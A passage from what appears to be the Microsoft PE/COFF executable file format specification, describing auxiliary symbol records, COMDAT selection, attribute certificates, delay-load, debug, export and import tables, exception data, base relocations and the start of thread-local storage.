4
PointerToNextFunction
Symbol-table index of the record for the
next function. If the function is the last in
the symbol table, this field is set to zero.
16
2
Unused.
5.5.2. Auxiliary Format 2: .bf and .ef Symbols
For each function definition in the Symbol Table, there are three contiguous items that describe
the beginning, ending, and number of lines. Each of these symbols has storage class FUNCTION
(101):
1
A symbol record named .bf (begin function). The Value field is unused.
2
A symbol record named .lf (lines in function). The Value field gives the number of lines in the
function.
3
A symbol record named .ef (end of function). The Value field has the same number as the
Total Size field in the function-definition symbol record.
The .bf and .ef symbol records (but not .lf records) are followed by an auxiliary record with the
following format:
Offset
Size
Field
Description
0
4
Unused.
4
2
Linenumber
Actual ordinal line number (1, 2, 3, etc.) within
source file, corresponding to the .bf or .ef
record.
6
6
Unused.
12
4
PointerToNextFunction
(.bf only)
Symbol-table index of the next .bf symbol
record. If the function is the last in the symbol
table, this field is set to zero. Not used for .ef
records.
16
2
Unused.
5.5.3. Auxiliary Format 3: Weak Externals
“Weak externals” are a mechanism for object files allowing flexibility at link time. A module can
contain an unresolved external symbol (sym1), but it can also include an auxiliary record
indicating that if sym1 is not present at link time, another external symbol (sym2) is used to
resolve references instead.
If a definition of sym1 is linked, then an external reference to the symbol is resolved normally. If a
definition of sym1 is not linked, then all references to the weak external for sym1 refer to sym2
instead. The external symbol, sym2, must always be linked; typically it is defined in the module
containing the weak reference to sym1.
Weak externals are represented by a Symbol Table record with EXTERNAL storage class,
UNDEF section number, and a value of 0. The weak-external symbol record is followed by an
auxiliary record with the following format:
Offset
Size
Field
Description
0
4
TagIndex
Symbol-table index of sym2, the symbol to be
linked if sym1 is not found.
4
4
Characteristics
A value of
IMAGE_WEAK_EXTERN_SEARCH_NOLIBRARY
indicates that no library search for sym1 should be
performed.
A value of
IMAGE_WEAK_EXTERN_SEARCH_LIBRARY
indicates that a library search for sym1 should be
performed.
A value of
IMAGE_WEAK_EXTERN_SEARCH_ALIAS
indicates that sym1 is an alias for sym2.
8
10
Unused.
Note that the Characteristics field is not defined in WINNT.H; instead, the Total Size field is used.
5.5.4. Auxiliary Format 4: Files
This format follows a symbol-table record with storage class FILE (103). The symbol name itself
should be .file, and the auxiliary record that follows it gives the name of a source-code file.
Offset
Size
Field
Description
0
18
File Name
ASCII string giving the name of the source file; padded
with nulls if less than maximum length.
5.5.5. Auxiliary Format 5: Section Definitions
This format follows a symbol-table record that defines a section: such a record has a symbol
name that is the name of a section (such as .text or .drectve) and has storage class STATIC (3).
The auxiliary record provides information on the section referred to. Thus it duplicates some of the
information in the section header.
Offset
Size
Field
Description
0
4
Length
Size of section data; same as Size of Raw Data
in the section header.
4
2
NumberOfRelocations
Number of relocation entries for the section.
6
2
NumberOfLinenumbers
Number of line-number entries for the section.
8
4
Check Sum
Checksum for communal data. Applicable if the
IMAGE_SCN_LNK_COMDAT flag is set in the
section header. See “COMDAT Sections”
below, for more information.
12
2
Number
One-based index into the Section Table for the
associated section; used when the COMDAT
Selection setting is 5.
14
1
Selection
COMDAT selection number. Applicable if the
section is a COMDAT section.
15
3
Unused.
5.5.6. COMDAT Sections (Object Only)
The Selection field of the Section Definition auxiliary format is applicable if the section is a
COMDAT section: a section that can be defined by more than one object file. (The flag
IMAGE_SCN_LNK_COMDAT is set in the Section Flags field of the section header.) The
Selection field determines the way that the linker resolves the multiple definitions of COMDAT
sections.
The first symbol having the section value of the COMDAT section must be the section symbol.
This symbol has the name of the section, Value field equal to 0, the section number of the
COMDAT section in question, Type field equal to IMAGE_SYM_TYPE_NULL, Class field equal to
IMAGE_SYM_CLASS_STATIC, and one auxiliary record. The second symbol is called “the
COMDAT symbol” and is used by the linker in conjunction with the Selection field.
Values for the Selection field are shown below.
Constant
Value
Description
IMAGE_COMDAT_SELECT_NODUPLICATES
1
The linker issues a multiply defined symbol
error if this symbol is already defined.
IMAGE_COMDAT_SELECT_ANY
2
Any section defining the same COMDAT
symbol may be linked; the rest are
removed.
IMAGE_COMDAT_SELECT_SAME_SIZE
3
The linker chooses an arbitrary section
among the definitions for this symbol. A
multiply defined symbol error is issued if all
definitions don’t have the same size.
IMAGE_COMDAT_SELECT_EXACT_MATCH
4
The linker chooses an arbitrary section
among the definitions for this symbol. A
multiply defined symbol error is issued if all
definitions don’t match exactly.
IMAGE_COMDAT_SELECT_ASSOCIATIVE
5
The section is linked if a certain other
COMDAT section is linked. This other
section is indicated by the Number field of
the auxiliary symbol record for the section
definition. Use of this setting is useful for
definitions that have components in multiple
sections (for example, code in one and
data in another), but where all must be
linked or discarded as a set.
IMAGE_COMDAT_SELECT_LARGEST
6
The linker chooses the largest from the
definitions for this symbol. If multiple
definitions have this size the choice
between them is arbitrary.
5.6. COFF String Table
Immediately following the COFF symbol table is the COFF string table. The position of this table is
found by taking the symbol table address in the COFF header, and adding the number of symbols
multiplied by the size of a symbol.
At the beginning of the COFF string table are 4 bytes containing the total size (in bytes) of the rest
of the string table. This size includes the size field itself, so that the value in this location would be
4 if no strings were present.
Following the size are null-terminated strings pointed to by symbols in the COFF symbol table.
5.7. The Attribute Certificate Table (Image Only)
Attribute Certificates may be associated with an image by adding an Attribute Certificate Table.
There are a number of different types of Attribute Certificates. The meaning and use of each
certificate type is not covered in this document. For this information see the Microsoft Distributed
System Architecture, Attribute Certificate Architecture Specification.
An Attribute Certificate Table is added at the end of the image, with only a .debug section
following (if a .debug section is present). The Attribute Certificate Table contains one or more
fixed length table entries which can be found via the Certificate Table field of the Optional Header
Data Directories list (offset 128). Each entry of this table identifies the beginning location and
length of a corresponding certificate. There is one Certificate Table entry for each certificate
stored in this section. The number of entries in the certificate table can be calculated by dividing
the size of the certificate table (found in offset 132) by the size of an entry in the certificate table
(8). Note that the size of the certificate table includes only the table entries, not the actual
certificates which the table entries, in turn, point to.
The format of each table entry is:
Offset
Size
Field
Description
0
4
Certificate Data
File pointer to the certificate data. This will
always point to an address that is octaword
aligned (i.e., is a multiple of 8 bytes and so the
low-order 3 bits are zero).
0
4
Size of Certificate
Unsigned integer identifying the size (in bytes) of
the certificate.
Notice that certificates always start on an octaword boundary. If a certificate is not an even
number of octawords long, it is zero padded to the next octaword boundary. However, the length
of the certificate does not include this padding and so any certificate navigation software must be
sure to round up to the next octaword to locate another certificate.
5.7.1. Certificate Data
This is the binary data representing an Attribute Certificate. The format and meaning of each
certificate is defined in Attribute Certificate Architecture Specification. The certificate starting
location and length is specified by an entry in the Certificate Table. Each certificate is represented
by a single Certificate Table entry.
5.8 Delay-Load Import Tables (Image Only)
These tables were added to the image in order to support a uniform mechanism for applications
to delay the loading of a DLL until the first call into that DLL. The layout of the tables matches that
of the traditional import tables (see Section “6.4. The .idata Section“ for details), so only a few
details will be discussed here.
5.8.1. The Delay-Load Directory Table
The Delay-Load Directory Table is the counterpart to the Import Directory Table, and can be
retrieved via the Delay Import Descriptor entry in the Optional Header Data Directories list (offset
200). The Table is arranged as follows:
Offset
Size
Field
Description
0
4
Attributes
Must be zero.
4
4
Name
Relative virtual address of the name of the
DLL to be loaded. The name resides in the
read-only data section of the image.
8
4
Module Handle
Relative virtual address of the module
handle (in the data section of the image) of
the DLL to be delay-loaded. Used for
storage by the routine supplied to manage
delay-loading.
12
4
Delay Import Address
Table
Relative virtual address of the delay-load
import address table. See below for further
details.
16
4
Delay Import Name
Table
Relative virtual address of the delay-load
name table, which contains the names of
the imports that may need to be loaded.
Matches the layout of the Import Name
Table, Section 6.4.3. Hint/Name Table.
20
4
Bound Delay Import
Table
Relative virtual address of the bound delay-
load address table, if it exists.
24
4
Unload Delay Import
Table
Relative virtual address of the unload delay-
load address table, if it exists. This is an
exact copy of the Delay Import Address
Table. In the event that the caller unloads
the DLL, this table should be copied back
over the Delay IAT such that subsequent
calls to the DLL continue to use the
thunking mechanism correctly.
28
4
Time Stamp
Time stamp of DLL to which this image has
been bound.
The tables referenced in this data structure are organized and sorted just as their counterparts are
for traditional imports. See Section 6.4. The idata Section for details.
5.8.2. Attributes
As yet, there are no attribute flags defined. This field is currently set to zero by the linker in the
image. This field can be used to extend the record by indicating the presence of new fields or for
indicating behaviors to the delay and/or unload helper functions.
5.8.3. Name
The name of the DLL to be delay loaded resides in the read-only data section of the image and is
referenced via the szName field.
5.8.4. Module handle
The handle of the DLL to be delay loaded is located in the data section of the image and pointed
to via the phmod field. The supplied delay load helper uses this location to store the handle to the
loaded DLL.
5.8.5. Delay Import Address Table (IAT)
The delay IAT is referenced by the delay import descriptor via the pIAT field. This is the working
copy of the entry point function pointers that resides in the data section of the image and initially
refer to the delay load thunks. The delay load helper is responsible for updating these pointers
with the real entry points so that the thunks are no longer in the calling loop. The function pointers
are access via the expression pINT->u1.Function.
5.8.6. Delay Import Name Table (INT)
The delay INT has the names of the imports that may need to be loaded. They are ordered in the
same fashion as the function pointers in the IAT. They consist of the same structures as the
standard INT and are accessed via the expression pINT->u1.AddressOfData->Name[0].
5.8.7. Delay Bound Import Address Table (BIAT) and Time Stamp
The delay BIAT is an optional table of IMAGE_THUNK_DATA items that is used along with the
timestamp field by a post process binding phase.
5.8.8. Delay Unload Import Address Table (UIAT)
The delay UIAT is an optional table of IMAGE_THUNK_DATA items that is used by the unload
code to handle an explicit unload request. It is initialized data in the read-only section that is an
exact copy of the original IAT that referred the code to the delay load thunks. On the unload
request, the library can be freed, the *phmod cleared, and the UIAT written over the IAT to restore
everything to its pre-load state.
6. Special Sections
Typical COFF sections contain code or data that linkers and Win32 loaders process without
special knowledge of the sections’ contents. The contents are relevant only to the application
being linked or executed.
However, some COFF sections have special meanings when found in object files and/or image
files. Tools and loaders recognize these sections because they have special flags set in the
section header, or because they are pointed to from special locations in the image optional
header, or because the section name is “magic”: that is, the name indicates a special function of
the section. (Even where the section name is not magic, the name is dictated by convention, so
we will refer to a name.)
The reserved sections and their attributes are described in the table below, followed by detailed
descriptions for a subset of them.
Section
Name
Content
Characteristics
.arch
Alpha architecture
information
IMAGE_SCN_MEM_READ |
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_ALIGN_8BYTES |
IMAGE_SCN_MEM_DISCARDABLE
.bss
Uninitialized data
IMAGE_SCN_CNT_UNINITIALIZED_DATA |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_WRITE
.data
Initialized data
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_WRITE
.edata
Export tables
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ
.idata
Import tables
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_WRITE
.pdata
Exception
information
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ
.rdata
Read-only
initialized data
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ
.reloc
Image relocations
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_DISCARDABLE
.rsrc
Resource directory
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_WRITE
.text
Executable code
IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE
| IIMAGE_SCN_MEM_READ
.tls
Thread-local
storage
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_WRITE
.xdata
Exception
information
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ
Some of the sections listed here are marked “(object only)” or “(image only)” to indicate that their
special semantics are relevant only for object files or image files, respectively. A section that says
“(image only)” may still appear in an object file as a way of getting into the image file, but the
section has no special meaning to the linker, only to the image file loader.
6.1. The .debug Section
The .debug section is used in object files to contain compiler-generated debug information, and in
image files to contain the total debug information generated. This section describes the packaging
of debug information in object and image files. The actual format of CodeView debug information
is not described here. See the document CV4 Symbolic Debug Information Specification.
The next section describes the format of the debug directory, which can be anywhere in the
image. Subsequent sections describe the “groups” in object files that contain debug information.
The default for the linker is that debug information is not mapped into the address space of the
image. A .debug section exists only when debug information is mapped in the address space.
6.1.1. Debug Directory (Image Only)
Image files contain an optional “debug directory” indicating what form of debug information is
present and where it is. This directory consists of an array of “debug directory entries” whose
location and sizes are indicated in the image optional header.
The debug directory may be in a discardable .debug section (if one exists) or it may be included
in any other section in the image file, or not in a section at all.
Each debug directory entry identifies the location and size of a block of debug information. The
RVA specified may be 0 if the debug information is not covered by a section header (i.e., it resides
in the image file and is not mapped into the run-time address space). If it is mapped, the RVA is
its address.
Here is the format of a debug directory entry:
Offset
Size
Field
Description
0
4
Characteristics
A reserved field intended to be used for
flags, set to zero for now.
4
4
TimeDateStamp
Time and date the debug data was created.
8
2
MajorVersion
Major version number of the debug data
format.
10
2
MinorVersion
Minor version number of the debug data
format.
12
4
Type
Format of debugging information: this field
enables support of multiple debuggers. See
Section 6.1.2, “Debug Type,” for more
information.
16
4
SizeOfData
Size of the debug data (not including the
debug directory itself).
20
4
AddressOfRawData
Address of the debug data when loaded,
relative to the image base.
24
4
PointerToRawData
File pointer to the debug data.
6.1.2. Debug Type
The following values are defined for the Debug Type field of the debug directory:
Constant
Value
Description
IMAGE_DEBUG_TYPE_UNKNOWN
0
Unknown value, ignored by all tools.
IMAGE_DEBUG_TYPE_COFF
1
COFF debug information (line numbers,
symbol table, and string table). This type of
debug information is also pointed to by
fields in the file headers.
IMAGE_DEBUG_TYPE_CODEVIEW
2
CodeView debug information. The format of
the data block is described by the CV4
specification.
IMAGE_DEBUG_TYPE_FPO
3
Frame Pointer Omission (FPO) information.
This information tells the debugger how to
interpret non-standard stack frames, which
use the EBP register for a purpose other
than as a frame pointer.
IMAGE_DEBUG_TYPE_MISC
4
IMAGE_DEBUG_TYPE_EXCEPTION
5
IMAGE_DEBUG_TYPE_FIXUP
6
IMAGE_DEBUG_TYPE_OMAP_TO_SRC
7
IMAGE_DEBUG_TYPE_OMAP_FROM_SRC
8
IMAGE_DEBUG_TYPE_BORLAND
9
If Debug Type is set to IMAGE_DEBUG_TYPE_FPO, the debug raw data is an array in which
each member describes the stack frame of a function. Not every function in the image file need
have FPO information defined for it, even though debug type is FPO. Those functions that do not
have FPO information are assumed to have normal stack frames. The format for FPO information
is defined as follows:
#define FRAME_FPO 0
#define FRAME_TRAP 1
#define FRAME_TSS 2
typedef struct _FPO_DATA {
DWORD ulOffStart; // offset 1st byte of function code
DWORD cbProcSize; // # bytes in function
DWORD cdwLocals; // # bytes in locals/4
WORD cdwParams; // # bytes in params/4
WORD cbProlog : 8; // # bytes in prolog
WORD cbRegs : 3; // # regs saved
WORD fHasSEH : 1; // TRUE if SEH in func
WORD fUseBP : 1; // TRUE if EBP has been allocated
WORD reserved : 1; // reserved for future use
WORD cbFrame : 2; // frame type
} FPO_DATA;
6.1.3. .debug$F (Object Only)
Object files can contain .debug$F sections whose contents are one or more FPO_DATA
records (Frame Pointer Omission information). See “IMAGE_DEBUG_TYPE_FPO” in table
above.
The linker recognizes these .debug$F records. If debug information is being generated, the linker
sorts the FPO_DATA records by procedure RVA, and generates a debug directory entry for them.
The compiler should not generate FPO records for procedures that have a standard frame format.
6.1.4. .debug$S (Object Only)
This section contains CV4 symbolic information: a stream of CV4 symbol records as described in
the CV4 spec.
6.1.5. .debug$T (Object Only)
This section contains CV4 type information: a stream of CV4 type records as described in the
CV4 spec.
6.1.6. Linker Support for Microsoft CodeView® Debug Information
To support CodeView debug information, the linker:
1
Generates the header and “NB05” signature.
2
Packages the header with .debug$S and .debug$T sections from object files and synthetic
(linker-generated) CV4 information, and creates a debug directory entry.
3
Generates the subsection directory containing a pointer to each known subsection, including
subsections that are linker-generated.
4
Generates the sstModules subsection, which specifies the address and size of each module’s
contribution(s) to the image address space.
5
Generates the sstSegMap subsection, which specifies the address and size of each section in
the image.
6
Generates the sstPublicSym subsection, which contains the name and address of all
externally defined symbols. (A symbol may be represented both by .debug$S information and
by an sstPublicSym entry.)
6.2. The .drectve Section (Object Only)
A section is a “directive” section if it has the IMAGE_SCN_LNK_INFO flag set in the section
header. By convention, such a section also has the name .drectve. The linker removes a
.drectve section after processing the information, so the section does not appear in the image file
being linked. Note that a section marked with IMAGE_SCN_LNK_INFO that is not named
.drectve is ignored and discarded by the linker.
A .drectve section consists of a string of ASCII text. This string is a series of linker options (each
option containing hyphen, option name, and any appropriate attribute) separated by spaces. The
.drectve section must not have relocations or line numbers.
In a .drectve section, if the hyphen preceding an option is followed by a question mark (for
example, “-?export”), and the option is not recognized as a valid directive, the linker must ignore it.
This allows compilers and linkers to add new directives while maintaining compatibility with
existing linkers, as long as the new directives are not required for the correct linking of the
application. For example, if the directive enables a link-time optimization, it is acceptable if some
linkers cannot recognize it.
6.3. The .edata Section (Image Only)
The export data section, named .edata, contains information about symbols that other images
can access through dynamic linking. Exports are generally found in DLLs, but DLLs can import
symbols as well.
An overview of the general structure of the export section is described below. The tables
described are generally contiguous in the file and present in the order shown (though this is not
strictly required). Only the Directory Table and Address Table are necessary for exporting symbols
as ordinals. (An ordinal is an export accessed directly as an Export Address Table index.) The
Name Pointer Table, Ordinal Table, and Export Name Table all exist to support use of export
names.
Table Name
Description
Export Directory Table
A table with just one row (unlike the debug directory). This table
indicates the locations and sizes of the other export tables.
Export Address Table
An array of RVAs of exported symbols. These are the actual
addresses of the exported functions and data within the
executable code and data sections. Other image files can import
a symbol by using an index to this table (an ordinal) or, optionally,
by using the public name that corresponds to the ordinal if one is
defined.
Name Pointer Table
Array of pointers to the public export names, sorted in ascending
order.
Ordinal Table
Array of the ordinals that correspond to members of the Name
Pointer Table. The correspondence is by position; therefore, the
Name Pointer Table and the Ordinal Table must have the same
number of members. Each ordinal is an index into the Export
Address Table.
Export Name Table
A series of null-terminated ASCII strings. Members of the Name
Pointer Table point into this area. These names are the public
names through which the symbols are imported and exported;
they do not necessarily have to be the same as the private names
used within the image file.
When another image file imports a symbol by name, the Name Pointer Table is searched for a
matching string. If one is found, the associated ordinal is then determined by looking at the
corresponding member in the Ordinal Table (that is, the member of the Ordinal Table with the
same index as the string pointer found in the Name Pointer Table). The resulting ordinal is an
index into the Export Address Table, which gives the actual location of the desired symbol. Every
export symbol can be accessed by an ordinal.
Direct use of an ordinal is therefore more efficient, because it avoids the need to search the Name
Pointer Table for a matching string. However, use of an export name is more mnemonic and does
not require the user to know the table index for the symbol.
6.3.1. Export Directory Table
The export information begins with the Export Directory Table, which describes the remainder of
the export information. The Export Directory Table contains address information that is used to
resolve fix-up references to the entry points within this image.
Offset
Size
Field
Description
0
4
Export Flags
A reserved field, set to zero for now.
4
4
Time/Date Stamp
Time and date the export data was created.
8
2
Major Version
Major version number. The major/minor
version number can be set by the user.
10
2
Minor Version
Minor version number.
12
4
Name RVA
Address of the ASCII string containing the
name of the DLL. Relative to image base.
16
4
Ordinal Base
Starting ordinal number for exports in this
image. This field specifies the starting
ordinal number for the Export Address
Table. Usually set to 1.
20
4
Address Table Entries
Number of entries in the Export Address
Table.
24
4
Number of Name
Pointers
Number of entries in the Name Pointer
Table (also the number of entries in the
Ordinal Table).
28
4
Export Address Table
RVA
Address of the Export Address Table,
relative to the image base.
32
4
Name Pointer RVA
Address of the Export Name Pointer Table,
relative to the image base. The table size is
given by Number of Name Pointers.
36
4
Ordinal Table RVA
Address of the Ordinal Table, relative to the
image base.
6.3.2. Export Address Table
The Export Address Table contains the address of exported entry points and exported data and
absolutes. An ordinal number is used to index the Export Address Table, after subtracting the
value of the Ordinal Base field to get a true, zero-based index. (Thus, if the Ordinal Base is set to
1, a common value, an ordinal of 6 is the same as a zero-based index of 5.)
Each entry in the Export Address Table is a field that uses one of two formats, as shown in the
following table. If the address specified is not within the export section (as defined by the address
and length indicated in the Optional Header), the field is an Export RVA: an actual address in code
or data. Otherwise, the field is a Forwarder RVA, which names a symbol in another DLL.
Offset
Size
Field
Description
0
4
Export RVA
Address of the exported symbol when
loaded into memory, relative to the image
base. For example, the address of an
exported function.
0
4
Forwarder RVA
Pointer to a null-terminated ASCII string in
the export section, giving the DLL name and
the name of the export (for example,
“MYDLL.expfunc”) or the DLL name and an
export (for example, “MYDLL.#27”).
A Forwarder RVA exports a definition from some other image, making it appear as if it were being
exported by the current image. Thus the symbol is simultaneously imported and exported.
For example, in KERNEL32.DLL in Windows NT, the export named “HeapAlloc” is forwarded to
the string “NTDLL.RtlAllocateHeap”. This allows applications to use the Windows NT-specific
module “NTDLL.DLL” without actually containing import references to it. The application’s import
table references only “KERNEL32.DLL.” Therefore, the application is not specific to Windows NT
and can run on any Win32 system.
6.3.3. Export Name Pointer Table
The Export Name Pointer Table is an array of addresses (RVAs) into the Export Name Table. The
pointers are 32 bits each and are relative to the Image Base. The pointers are ordered lexically to
allow binary searches.
An export name is defined only if the Export Name Pointer Table contains a pointer to it.
6.3.4. Export Ordinal Table
The Export Ordinal Table is an array of 16-bit indexes into the Export Address Table. The ordinals
are biased by the Ordinal Base field of the Export Directory Table. In other words, the Ordinal
Base must be subtracted from the ordinals to obtain true indexes into the Export Address Table.
The Export Name Pointer Table and the Export Ordinal Table form two parallel arrays, separated
to allow natural field alignment. These two tables, in effect, operate as one table, in which the
Export Name Pointer “column” points to a public (exported) name, and the Export Ordinal
“column” gives the corresponding ordinal for that public name. A member of the Export Name
Pointer Table and a member of the Export Ordinal Table are associated by having the same
position (index) in their respective arrays.
Thus, when the Export Name Pointer Table is searched and a matching string is found at position
i, the algorithm for finding the symbol’s address is:
i = Search_ExportNamePointerTable (ExportName);
ordinal = ExportOrdinalTable [i];
SymbolRVA = ExportAddressTable [ordinal - OrdinalBase];
6.3.5. Export Name Table
The Export Name Table contains the actual string data pointed to by the Export Name Pointer
Table. The strings in this table are public names that can be used by other images to import the
symbols; these public export names are not necessarily the same as the (private) symbol names
that the symbols have in their own image file and source code, although they can be.
Every exported symbol has an ordinal value, which is just the index into the Export Address Table
(plus the Ordinal Base value). Use of export names, however, is optional. Some, all, or none of
the exported symbols can have export names. For those exported symbols that do have export
names, corresponding entries in the Export Name Pointer Table and Export Ordinal Table work
together to associate each name with an ordinal.
The structure of the Export Name Table is a series of ASCII strings, of variable length, each null
terminated.
6.4. The .idata Section
All image files that import symbols, including virtually all .EXE files, have an .idata section. A
typical file layout for the import information follows:
Directory Table
Null Directory Entry
DLL1 Import Lookup Table
Null
DLL2 Import Lookup Table
Null
DLL3 Import Lookup Table
Null
Hint-Name Table
Figure 3. Typical Import Section Layout
6.4.1. Import Directory Table
The import information begins with the Import Directory Table, which describes the remainder of
the import information. The Import Directory Table contains address information that is used to
resolve fix-up references to the entry points within a DLL image. The Import Directory Table
consists of an array of Import Directory Entries, one entry for each DLL the image references. The
last directory entry is empty (filled with null values), which indicates the end of the directory table.
Each Import Directory entry has the following format:
Offset
Size
Field
Description
0
4
Import Lookup Table
RVA (Characteristics)
Relative virtual address of the Import
Lookup Table; this table contains a name or
ordinal for each import. (The name
“Characteristics” is used in WINNT.H but is
no longer descriptive of this field.)
4
4
Time/Date Stamp
Set to zero until bound; then this field is set
to the time/data stamp of the DLL.
8
4
Fowarder Chain
Index of first forwarder reference.
12
4
Name RVA
Address of ASCII string containing the DLL
name. This address is relative to the image
base.
16
4
Import Address Table
RVA (Thunk Table)
Relative virtual address of the Import
Address Table: this table is identical in
contents to the Import Lookup Table until
the image is bound.
6.4.2. Import Lookup Table
An Import Lookup Table is an array of 32-bit numbers for PE32, 64-bit for PE32+. Each entry uses
the bit-field format described below, in which bit 31 (63) is the most significant bit. The collection
of these entries describes all imports from the image to a given DLL. The last entry is set to zero
(NULL) to indicate end of the table.
Bit(s)
Size
Bit Field
Description
31 / 63
1
Ordinal/Name Flag
If bit is set, import by ordinal. Otherwise,
import by name. Bit is masked as
0x80000000 for PE32,
0x8000000000000000 for PE32+.
30 – 0 / 62 – 0
31 / 63
Ordinal Number
Ordinal/Name Flag is 1: import by ordinal.
This field is a 31-bit (63-bit) ordinal
number.
30 – 0 / 62 – 0
31 / 63
Hint/Name Table RVA
Ordinal/Name Flag is 0: import by name.
This field is a 31-bit (63-bit) address of a
Hint/Name Table entry, relative to image
base.
In a PE32 image, the lower 31 bits can be masked as 0x7FFFFFFF. In either case, the resulting
number is a 32-bit integer or pointer in which the high bit is always zero (zero extension to 32 bits).
Similarly for a PE32+ image, the lower 63 bits can be masked as 0x7FFFFFFFFFFFFFFF.
6.4.3. Hint/Name Table
One Hint/Name Table suffices for the entire import section. Each entry in the Hint/Name Table
has the following format:
Offset
Size
Field
Description
0
2
Hint
Index into the Export Name Pointer Table. A match is
attempted first with this value. If it fails, a binary search is
performed on the DLL’s Export Name Pointer Table.
2
variable
Name
ASCII string containing name to import. This is the string
that must be matched to the public name in the DLL. This
string is case sensitive and terminated by a null byte.
*
0 or 1
Pad
A trailing zero pad byte appears after the trailing null byte,
if necessary, to align the next entry on an even boundary.
6.4.4. Import Address Table
The structure and content of the Import Address Table are identical to that of the Import Lookup
Table, until the file is bound. During binding, the entries in the Import Address Table are
overwritten with the 32-bit (or 64-bit for PE32+) addresses of the symbols being imported: these
addresses are the actual memory addresses of the symbols themselves (although technically,
they are still called “virtual addresses”). The processing of binding is typically performed by the
loader.
6.5. The .pdata Section
The .pdata section contains an array of function table entries used for exception handling and is
pointed to by the exception table entry in the image data directory. The entries must be sorted
according to the function addresses (the first field in each structure) before being emitted into the
final image. The target platform determines which of the three variations described below is used.
For 32-bit MIPS and Alpha images the following structure is used:
Offset
Size
Field
Description
0
4
Begin Address
Virtual address of the corresponding function.
4
4
End Address
Virtual address of the end of the function.
8
4
Exception Handler
Pointer to the exception handler to be
executed.
12
4
Handler Data
Pointer to additional information to be passed
to the handler.
16
4
Prolog End Address
Virtual address of the end of the function’s
prolog.
For the ARM, PowerPC, SH3 and SH4 WindowsCE platforms, this function table entry format is
used:
Offset
Size
Field
Description
0
4
Begin Address
Virtual address of the corresponding
function.
4
8 bits
Prolog Length
Number of instructions in the function’s
prolog.
4
22 bits
Function Length
Number of instructions in the function.
4
1 bit
32-bit Flag
Set if the function is comprised of 32-bit
instructions, cleared for a 16-bit function.
4
1 bit
Exception Flag
Set if an exception handler exists for the
function.
Finally, for ALPHA64 the pdata entry format is as follows:
Offset
Size
Field
Description
0
8
Begin Address
Virtual address of the corresponding
function.
8
8
End Address
Virtual address of the end of the function.
16
8
Exception Handler
Pointer to the exception handler to be
executed.
24
8
Handler Data
Pointer to additional information to be
passed to the handler.
32
8
Prolog End Address
Virtual address of the end of the function’s
prolog.
6.6. The .reloc Section (Image Only)
The Fix-Up Table contains entries for all fixups in the image. The Total Fix-Up Data Size in the
Optional Header is the number of bytes in the fixup table. The fixup table is broken into blocks of
fixups. Each block represents the fixups for a 4K page. Each block must start on a 32-bit
boundary.
Fixups that are resolved by the linker do not need to be processed by the loader, unless the load
image can’t be loaded at the Image Base specified in the PE Header.
6.6.1. Fixup Block
Each fixup block starts with the following structure:
Offset
Size
Field
Description
0
4
Page RVA
The image base plus the page RVA is
added to each offset to create the virtual
address of where the fixup needs to be
applied.
4
4
Block Size
Total number of bytes in the fixup block,
including the Page RVA and Block Size
fields, as well as the Type/Offset fields that
follow.
The Block Size field is then followed by any number of Type/Offset entries. Each entry is a word (2
bytes) and has the following structure:
Offset
Size
Field
Description
0
4 bits
Type
Stored in high 4 bits of word. Value
indicating which type of fixup is to be
applied. These fixups are described in
“Fixup Types.”
0
12 bits
Offset
Stored in remaining 12 bits of word. Offset
from starting address specified in the Page
RVA field for the block. This offset specifies
where the fixup is to be applied.
To apply a fixup, a delta is calculated as the difference between the preferred base address, and
the base where the image is actually loaded. If the image is loaded at its preferred base, the delta
would be zero, and thus the fixups would not have to be applied.
6.6.2. Fixup Types
Constant
Value
Description
IMAGE_REL_BASED_ABSOLUTE
0
The fixup is skipped. This type can be used to
pad a block.
IMAGE_REL_BASED_HIGH
1
The fixup adds the high 16 bits of the delta to
the 16-bit field at Offset. The 16-bit field
represents the high value of a 32-bit word.
IMAGE_REL_BASED_LOW
2
The fixup adds the low 16 bits of the delta to
the 16-bit field at Offset. The 16-bit field
represents the low half of a 32-bit word.
IMAGE_REL_BASED_HIGHLOW
3
The fixup applies the delta to the 32-bit field at
Offset.
IMAGE_REL_BASED_HIGHADJ
4
The fixup adds the high 16 bits of the delta to
the 16-bit field at Offset. The 16-bit field
represents the high value of a 32-bit word.
The low 16 bits of the 32-bit value are stored
in the 16-bit word that follows this base
relocation. This means that this base
relocation occupies two slots.
IMAGE_REL_BASED_MIPS_JMPADDR
5
Fixup applies to a MIPS jump instruction.
IMAGE_REL_BASED_SECTION
6
Reserved for future use
IMAGE_REL_BASED_REL32
7
Reserved for future use
IMAGE_REL_BASED_MIPS_JMPADDR16
9
Fixup applies to a MIPS16 jump instruction.
IMAGE_REL_BASED_DIR64
10
This fixup applies the delta to the 64-bit field at
Offset
IMAGE_REL_BASED_HIGH3ADJ
11
The fixup adds the high 16 bits of the delta to
the 16-bit field at Offset. The 16-bit field
represents the high value of a 48-bit word.
The low 32 bits of the 48-bit value are stored
in the 32-bit word that follows this base
relocation. This means that this base
relocation occupies three slots.
6.7. The .tls Section
The .tls section provides direct PE/COFF support for static Thread Local Storage (TLS). TLS is a
special storage class supported by Windows NT, in which a data object is not an automatic
(stack) variable, yet it is local to each individual thread that runs the code. Thus, each thread can
maintain a different value for a variable declared using TLS.
Note that any amount of TLS data can be supported by using the API calls TlsAlloc, TlsFree,
TlsSetValue, and TlsGetValue. The PE/COFF implementation is an alternative approach to
using the API, and it has the advantage of being simpler from the high-level-language
programmer’s point of view. This implementation enables TLS data to be defined and initialized in
a manner similar to ordinary static variables in a program. For example, in Microsoft Visual C++, a
